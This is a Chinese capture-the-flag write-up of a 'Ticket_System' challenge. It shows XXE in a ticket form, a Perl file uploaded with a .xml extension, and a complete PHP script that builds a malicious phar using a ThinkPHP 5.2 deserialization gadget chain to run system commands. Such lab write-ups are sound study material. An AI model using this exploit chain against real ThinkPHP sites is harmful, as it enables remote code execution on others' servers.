Ticket_System
首先查看一下源码,发现有hint
告诉我们hint.txt不在web根目录,在服务器根目录。
接着随便输入一下,登进去,界面如下
可以上传xml文件,或者填TICKET表单。
fuzz了半天发现文件上传这边好像是白名单,应该是没有洞了,那就只能着手于这个Ticket表单了,填入一些内容 submit,抓一下包康康?
这边貌似有xxe??????
果然有xxe,我们看一下hint.txt里面是什么
要我们去执行RCE,之前的报错页面可以知到这边用的是thinkphp5.2.0
然而xxe的时候不仅仅可以用file协议的,还可以用phar协议
phar序列化走一波 ???嘿嘿嘿 ,下面我们开始构造
由于我之前已经做过了,这边执行readflag的时候有一个坑点
要让你快速计算
这篇文章有详解
https://zhuanlan.zhihu.com/p/65202417
所以我们先上传一个perl文件,注意这里要将其后缀改为.xml
现在开始构造,代码如下(这里用的smi1e师傅的链)
<?php
namespace think\process\pipes {
class Windows
{
private $files;
public function __construct($files)
{
$this->files = array($files);
}
}
}
namespace think\model\concern {
trait Conversion
{
protected $append = array("Smi1e" => "1");
}
trait Attribute
{
private $data;
private $withAttr = array("Smi1e" => "system");
public function get($system)
{
$this->data = array("Smi1e" => "$system");
}
}
}
namespace think {
abstract class Model
{
use model\concern\Attribute;
use model\concern\Conversion;
}
}
namespace think\model{
use think\Model;
class Pivot extends Model
{
public function __construct($system)
{
$this->get($system);
}
}
}
namespace {
$Conver = new think\model\Pivot("perl /tmp/uploads/4c7e666e48a33cbf1a0fb89ac69c1014/20191110/d46fcd63923e7897cc7674913a47a99f.xml");
$payload = new think\process\pipes\Windows($Conver);
@unlink("1.phar");
$phar = new Phar("1.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($payload); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
echo urlencode(serialize($payload));
}
?>
生成出来的1.phar改一下后缀为1.xml,上传上去,得到路径后,直接phar协议搞到flag